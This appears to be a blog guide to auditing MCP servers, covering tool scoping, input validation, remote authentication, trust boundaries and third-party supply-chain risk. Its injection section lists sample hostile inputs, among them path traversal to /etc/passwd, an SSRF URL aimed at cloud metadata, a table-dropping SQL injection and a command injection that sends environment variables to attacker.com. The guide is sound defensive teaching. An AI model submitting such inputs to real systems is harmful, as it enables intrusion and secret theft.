#AI Agent#DevOps

Security Auditing for MCP Servers

MCP lets AI tools plug into your capabilities, but also exposes data and operations to every compatible client. This guide covers least-privilege tools, validation and injection defenses, remote authentication and rate limiting, local-vs.-remote trust boundaries, third-party supply-chain risk, and a prelaunch checklist.

Key Points

  • Topic Focus: AI Agent、DevOps
  • Suitable for: indie hackers, full-stack engineers, AI application developers
  • Core value: quickly understand background, practical paths, common pitfalls, and engineering advice
Author @admin·Published July 26, 2026·Updated July 26, 2026

MCP's selling point is "package it once and use it with every client." Read in reverse, that statement captures its entire security problem: you are exposing capabilities not to one trusted client, but to every MCP-compatible client, including a malicious one.

A local stdio MCP Server may look harmless, but it runs on your machine, reads your files, and accesses your tokens. A remote HTTP MCP Server may look like an ordinary API, but anyone who knows its address can make it perform operations on their behalf. When launching an MCP Server, many teams focus only on "making it work" without considering that, within the attack surface, it is effectively a credentialed RPC endpoint. This article explains what to audit before launching an MCP Server.

1. Understand MCP's Security Model and Attack Surface

MCP itself does not provide a security boundary; it only defines a communication contract. Security responsibility rests entirely with both endpoints: how the Server exposes capabilities and how the Client uses them. The attack surface includes at least these layers:

  • Capability exposure: Every tool/resource is a new invocation entry point. If its description is wrong, the model may misuse it.
  • Parameters are inputs: Parameters constructed by a user or model enter downstream systems such as SQL, shells, file paths, and HTTP URLs.
  • Credential ownership: The keys, tokens, and file permissions held by the Server process effectively grant every client it trusts access to those assets.
  • Untrusted clients: The specification allows any client to connect. You cannot assume the other side is Claude Code or Cursor; it could be a script written by an attacker.

Audit an MCP Server as a "public-facing RPC service," not as a "small local utility." That is the right security posture.

2. Minimize Tool Permissions

The first thing to audit is the tool list itself. A common anti-pattern is exposing a single run_sql(query) or exec(command) tool for convenience. This is equivalent to handing database credentials or a shell directly to the client.

The correct approach is to divide capabilities by granularity so that each tool exposes only what is necessary:

ts
// Anti-pattern: universal entry point
server.tool("query", "run any SQL", { sql: z.string() }, async ({ sql }) =>
  run(sql),
);

// Good example: fixed intent + fixed table + fixed fields
server.tool(
  "get_order_status",
  "Return the status of one order by its numeric ID. Read-only.",
  { orderId: z.number().int().positive() },
  async ({ orderId }) => getOrderStatus(orderId), // use a prepared statement internally
);

Note three points: make the boundaries explicit in the description ("Read-only," "by its numeric ID"), because models primarily use descriptions when selecting tools; use the strictest possible parameter schema (z.number().int() rather than z.any()); and do not automatically execute dangerous operations such as transfers, deletions, publishing, or sending email. Either require the client to provide a secondary confirmation token or reject the operation and return "human confirmation required" in the result.

3. Prevent Parameter Injection: Tool Input Is User Input

Simple parameters such as orderId are manageable because zod can block type-based attacks. The real danger is string parameters being concatenated into downstream operations. A model, or a client controlled by an attacker, can easily submit:

  • path: "../../etc/passwd" - Path traversal that escapes the intended directory.
  • url: "http://169.254.169.254/latest/meta-data/" - SSRF targeting cloud-internal metadata.
  • q: "x'; DROP TABLE orders;--" - SQL injection.
  • cmd: "ls; curl attacker.com/$(env)" - Command injection.

The defense is the same as for a web backend: always parameterize and never concatenate strings. Normalize file paths, then verify that they remain under the root directory:

ts
import path from "node:path";

const ROOT = path.resolve("./notes");
function safeJoin(slug: string) {
  const full = path.resolve(ROOT, slug);
  if (!full.startsWith(ROOT + path.sep) && full !== ROOT) {
    throw new Error("path outside notes dir");
  }
  return full;
}

URL parameters must pass an allowlist, such as permitting only https://api.github.com/*, with private and link-local addresses explicitly blocked. All SQL must use prepared statements and a read-only account. As for shells, do not expose one unless absolutely necessary. If exposure is unavoidable, use fixed commands with constrained arguments rather than exec(command).

4. Authentication, Rate Limiting, and Auditing for Remote MCP Servers

Local stdio relies on the implicit authorization that "if the process can start, you authorized it." That is not sufficient for remote HTTP. Running http.createServer with Streamable HTTP and no protection creates an unauthenticated RPC endpoint. Identity must be verified at the entry point:

ts
const httpServer = createServer(async (req, res) => {
  const token = req.headers.authorization?.replace(/^Bearer\s+/i, "");
  const principal = await verifyToken(token); // OAuth introspection or JWT validation
  if (!principal) return respond(res, 401, "unauthorized");

  // Inject the principal into the tool execution context for this invocation
  const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined });
  transport.onmessage = (msg) => enforceScopes(msg, principal); // restrict scopes by client
  await server.connect(transport);
  await transport.handleRequest(req, res);
});

A remote Server must provide at least the following: one credential per client rather than a globally shared token, scope-based authorization so read-only clients cannot access write tools, per-client rate limiting for QPS and concurrency to prevent abuse and DoS, and structured audit logs with one who/tool/args/latency/result record per invocation so incidents can be investigated. Sensitive operations should preferably integrate with your existing SSO and authorization systems rather than introducing a custom system.

5. Trust Boundaries: Local stdio vs. Remote HTTP Require Different Rules

These two types of Server have completely different threat models. Do not apply one strategy to both:

DimensionLocal stdioRemote HTTP
Who can connectOnly a client launched by the current userAnyone who knows the address
AuthenticationProcess startup constitutes authorizationExplicit authentication is mandatory
CredentialsMay use local user-level credentialsLeast privilege + scope restrictions
NetworkNo outbound-network risk by defaultMust account for SSRF and DDoS
AuditingLocal logs are sufficientMust provide a searchable audit trail

A common mistake is taking a Server that should run only locally, such as one that reads and writes local files or uses a personal token, exposing it remotely, and then sharing one token across the entire team. The correct principle is: the greater the capability, the tighter the boundary. Reassess whether every tool is truly necessary in the remote version, and remove any tool that is "useful locally but dangerous remotely."

6. Supply-Chain Risk: Installing a Third-Party MCP Server Is Like Installing a Background Process That Can Read Your Files

This risk is the easiest to overlook. The moment you run npx some-cool-mcp-server, it gains access to files readable by your local account, secrets in environment variables, and your network. A tool named summarize_file may have a harmless-sounding description while its implementation quietly exfiltrates .env. Traditional supply-chain attacks, including lookalike npm packages and malicious postinstall scripts, all apply in the MCP ecosystem.

Use this checklist when auditing a third-party MCP server:

  • Source: Pin versions of official @modelcontextprotocol packages. For community packages, inspect the publisher, stars, and recent commits, and prefer projects whose source can be audited.
  • Permissions: Run with npx --no-install or inside an isolated container. First inspect which env variables it requires and which directories it accesses, then grant the minimum permissions.
  • Network: If a Server does not require network access, block its egress through container or firewall isolation. This prevents most data exfiltration.
  • Admission control: Maintain a team-level allowlist and do not let members add unaudited Servers at will, especially in environments connected to production credentials.

7. Prelaunch Security Checklist

The preceding sections can be condensed into this checklist:

  1. Tool granularity: No universal entry points such as run_sql, exec, or shell. Each tool has a fixed intent and exposes only necessary fields.
  2. Strict schemas: Every parameter has zod/JSON Schema constraints; strings have length and regex limits; numbers have ranges.
  3. Injection prevention: Normalize paths and verify their root directory; use URL allowlists and block private networks; parameterize all SQL and use read-only accounts.
  4. Dangerous operations: Irreversible operations such as deletion, transfers, publishing, and sending email require human confirmation and must not run automatically.
  5. Remote authentication: Give each client separate credentials, do not share tokens, and authorize by scope.
  6. Rate limiting: Limit QPS and concurrency per client, and set response-size and timeout ceilings.
  7. Audit logs: Record who/tool/args/result for every tool invocation, with traceability and alerting.
  8. Credential minimization: The Server process holds only the required tokens and file permissions, with production credentials isolated from development.
  9. Supply chain: Review third-party Servers for source, permissions, and network access, and require admission through a team allowlist.
  10. Threat exercises: Act as a malicious client and attempt path traversal, SSRF, and scope escalation to identify where each attack is stopped.

Summary

The essence of MCP security can be stated in one sentence: it connects "your capabilities" to "any compatible client," so every additional tool creates another public RPC entry point. The methodology for auditing an MCP Server is the same as for auditing a backend service: least privilege, treating parameters as an attack surface, strict authentication, searchable audits, clear boundaries, and controlled supply chains. The difference is that the attacker may now be sitting at the client endpoint.

  • Each tool should expose only necessary capabilities, and dangerous operations must require secondary confirmation.
  • Always parameterize string inputs, validate file paths against a root directory, and apply URL allowlists.
  • Local stdio relies on authorization at startup; remote HTTP requires explicit authentication, rate limiting, and auditing.
  • Audit a third-party MCP server as a credentialed background process, and isolate it from the network whenever possible.

Functionality gets you launched, and MCP makes you callable by every client. Security auditing determines exactly what you expose when those calls arrive.

Related

Related Content